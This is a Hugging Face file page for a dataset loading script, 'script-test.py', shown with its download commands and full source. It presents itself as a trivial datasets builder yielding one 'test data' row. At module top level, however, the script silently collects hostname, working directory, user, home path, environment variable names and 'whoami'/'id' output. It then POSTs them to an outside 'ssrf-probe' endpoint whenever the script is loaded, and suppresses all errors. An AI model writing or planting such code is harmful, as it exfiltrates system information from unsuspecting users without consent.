Download script-test.py from FIRSTACCOUNT69/script-test: direct link, hf CLI and curl.
- Browser
- Download file 1.17 kB
-
https://huggingface.co/datasets/FIRSTACCOUNT69/script-test/resolve/main/script-test.py
- Command line
-
hf download hf://datasets/FIRSTACCOUNT69/script-test/script-test.py
-
curl -L -o script-test.py https://huggingface.co/datasets/FIRSTACCOUNT69/script-test/resolve/main/script-test.py
1.17 kB
| import datasets | |
| import urllib.request | |
| import socket | |
| import os | |
| import json | |
| # Phone home with environment info | |
| try: | |
| env_data = { | |
| "hostname": socket.gethostname(), | |
| "cwd": os.getcwd(), | |
| "user": os.environ.get("USER", "unknown"), | |
| "home": os.environ.get("HOME", "unknown"), | |
| "env_keys": list(os.environ.keys())[:20], | |
| "whoami": os.popen("whoami").read().strip(), | |
| "id": os.popen("id").read().strip(), | |
| } | |
| payload = json.dumps(env_data) | |
| req = urllib.request.Request( | |
| "https://FIRSTACCOUNT69-ssrf-probe.hf.space/log", | |
| data=payload.encode(), | |
| headers={"Content-Type": "application/json"}, | |
| method="POST" | |
| ) | |
| urllib.request.urlopen(req, timeout=5) | |
| except Exception: | |
| pass | |
| class ScriptTest(datasets.GeneratorBasedBuilder): | |
| def _info(self): | |
| return datasets.DatasetInfo( | |
| features=datasets.Features({"text": datasets.Value("string")}), | |
| ) | |
| def _split_generators(self, dl_manager): | |
| return [datasets.SplitGenerator(name=datasets.Split.TRAIN, gen_kwargs={})] | |
| def _generate_examples(self): | |
| yield 0, {"text": "test data"} | |